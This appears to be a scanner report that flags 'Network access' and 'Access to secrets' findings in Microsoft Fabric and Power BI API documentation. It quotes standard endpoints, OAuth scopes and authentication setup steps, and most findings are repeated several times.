    | **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 43
    | **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 43
    | **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 43
    | **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 43
    | **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 43
    | **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 43
    | **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 43
    | **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 44
    | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 44
    | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 44
    | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 44
    | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 44
    | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 44
    | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 44
    | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 44
    | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 45
    | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 45
    | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 45
    | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 45
    | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 45
    | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 45
    | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 45
    | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 45
    | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 46
    | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 46
    | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 46
    | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 46
    | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 46
    | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 46
    | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 46
    | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 46
    | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 47
    | **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 47
    | **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 47
    | **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 47
    | **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 47
    | **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 47
    | **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 47
    | **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 47
    | **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 48
    | **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 48
    | **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 48
    | **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 48
    | **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 48
    | **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 48
    | **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 48
    | **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 48
    | **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 61
    | Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 61
    | Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 61
    | Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 61
    | Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 61
    | Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 61
    | Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 61
    | Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 61
    | Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 62
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 62
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 62
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 62
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 62
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 62
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 62
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 62
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 63
    | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 63
    | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 63
    | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 63
    | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 63
    | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 63
    | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 63
    | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 63
    | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 64
    | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 64
    | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 64
    | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 64
    | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 64
    | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 64
    | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 64
    | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 64
    | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 65
    | **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` |
  • Network accessline 65
    | **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` |
  • Network accessline 65
    | **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` |
  • Network accessline 65
    | **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` |
  • Network accessline 65
    | **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` |
  • Network accessline 65
    | **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` |
  • Network accessline 65
    | **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` |
  • Network accessline 65
    | **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` |
  • Network accessline 66
    | **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` |
  • Network accessline 66
    | **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` |
  • Network accessline 66
    | **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` |
  • Network accessline 66
    | **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` |
  • Network accessline 66
    | **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` |
  • Network accessline 66
    | **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` |
  • Network accessline 66
    | **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` |
  • Network accessline 66
    | **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` |
  • Network accessline 67
    | **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) |
  • Network accessline 67
    | **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) |
  • Network accessline 67
    | **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) |
  • Network accessline 67
    | **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) |
  • Network accessline 67
    | **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) |
  • Network accessline 67
    | **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) |
  • Network accessline 67
    | **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) |
  • Network accessline 67
    | **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) |
  • Network accessline 68
    | **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 68
    | **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 68
    | **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 68
    | **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 68
    | **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 68
    | **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 68
    | **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 68
    | **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 69
    | **Azure Resource Management** | `https://management.azure.com/.default` |
  • Network accessline 69
    | **Azure Resource Management** | `https://management.azure.com/.default` |
  • Network accessline 69
    | **Azure Resource Management** | `https://management.azure.com/.default` |
  • Network accessline 69
    | **Azure Resource Management** | `https://management.azure.com/.default` |
  • Network accessline 69
    | **Azure Resource Management** | `https://management.azure.com/.default` |
  • Network accessline 69
    | **Azure Resource Management** | `https://management.azure.com/.default` |
  • Network accessline 69
    | **Azure Resource Management** | `https://management.azure.com/.default` |
  • Network accessline 69
    | **Azure Resource Management** | `https://management.azure.com/.default` |
  • Network accessline 71
    > **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail.
  • Network accessline 71
    > **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail.
  • Network accessline 71
    > **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail.
  • Network accessline 71
    > **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail.
  • Network accessline 71
    > **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail.
  • Network accessline 71
    > **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail.
  • Network accessline 71
    > **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail.
  • Network accessline 71
    > **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail.
  • Network accessline 72
    > > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. >
  • Network accessline 72
    > > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. >
  • Network accessline 72
    > > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. >
  • Network accessline 72
    > > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. >
  • Network accessline 72
    > > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. >
  • Network accessline 72
    > > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. >
  • Network accessline 72
    > > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. >
  • Network accessline 72
    > > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. >
  • Network accessline 73
    > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly.
  • Network accessline 73
    > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly.
  • Network accessline 73
    > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly.
  • Network accessline 73
    > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly.
  • Network accessline 73
    > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly.
  • Network accessline 73
    > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly.
  • Network accessline 73
    > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly.
  • Network accessline 73
    > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly.
  • Network accessline 75
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes
  • Network accessline 75
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes
  • Network accessline 75
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes
  • Network accessline 75
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes
  • Network accessline 75
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes
  • Network accessline 75
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes
  • Network accessline 75
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes
  • Network accessline 75
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes
  • Network accessline 87
    **Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token`
  • Network accessline 87
    **Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token`
  • Network accessline 87
    **Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token`
  • Network accessline 87
    **Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token`
  • Network accessline 87
    **Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token`
  • Network accessline 87
    **Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token`
  • Network accessline 87
    **Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token`
  • Network accessline 87
    **Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token`
  • Network accessline 91
    [Credential-related source omitted]
  • Network accessline 91
    [Credential-related source omitted]
  • Network accessline 91
    [Credential-related source omitted]
  • Network accessline 91
    [Credential-related source omitted]
  • Network accessline 91
    [Credential-related source omitted]
  • Network accessline 91
    [Credential-related source omitted]
  • Network accessline 91
    [Credential-related source omitted]
  • Network accessline 91
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Network accessline 94
    **Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 94
    **Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 94
    **Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 94
    **Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 94
    **Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 94
    **Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 94
    **Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 94
    **Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 95
    1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 95
    1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 95
    1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 95
    1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 95
    1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 95
    1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 95
    1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 95
    1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 109
    1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations.
  • Network accessline 109
    1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations.
  • Network accessline 109
    1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations.
  • Network accessline 109
    1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations.
  • Network accessline 109
    1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations.
  • Network accessline 109
    1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations.
  • Network accessline 109
    1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations.
  • Network accessline 109
    1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations.
  • Network accessline 110
    2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI.
  • Network accessline 110
    2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI.
  • Network accessline 110
    2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI.
  • Network accessline 110
    2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI.
  • Network accessline 110
    2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI.
  • Network accessline 110
    2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI.
  • Network accessline 110
    2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI.
  • Network accessline 110
    2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI.
  • Network accessline 116
    Base URL: `https://api.fabric.microsoft.com/v1`
  • Network accessline 116
    Base URL: `https://api.fabric.microsoft.com/v1`
  • Network accessline 116
    Base URL: `https://api.fabric.microsoft.com/v1`
  • Network accessline 116
    Base URL: `https://api.fabric.microsoft.com/v1`
  • Network accessline 116
    Base URL: `https://api.fabric.microsoft.com/v1`
  • Network accessline 116
    Base URL: `https://api.fabric.microsoft.com/v1`
  • Network accessline 116
    Base URL: `https://api.fabric.microsoft.com/v1`
  • Network accessline 116
    Base URL: `https://api.fabric.microsoft.com/v1`
  • Network accessline 181
    **Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l
  • Network accessline 181
    **Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l
  • Network accessline 181
    **Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l
  • Network accessline 181
    **Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l
  • Network accessline 181
    **Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l
  • Network accessline 181
    **Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l
  • Network accessline 181
    **Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l
  • Network accessline 181
    **Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l
  • Network accessline 188
    > **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam
  • Network accessline 188
    > **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam
  • Network accessline 188
    > **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam
  • Network accessline 188
    > **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam
  • Network accessline 188
    > **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam
  • Network accessline 188
    > **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam
  • Network accessline 188
    > **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam
  • Network accessline 188
    > **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam
  • Network accessline 273
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation
  • Network accessline 273
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation
  • Network accessline 273
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation
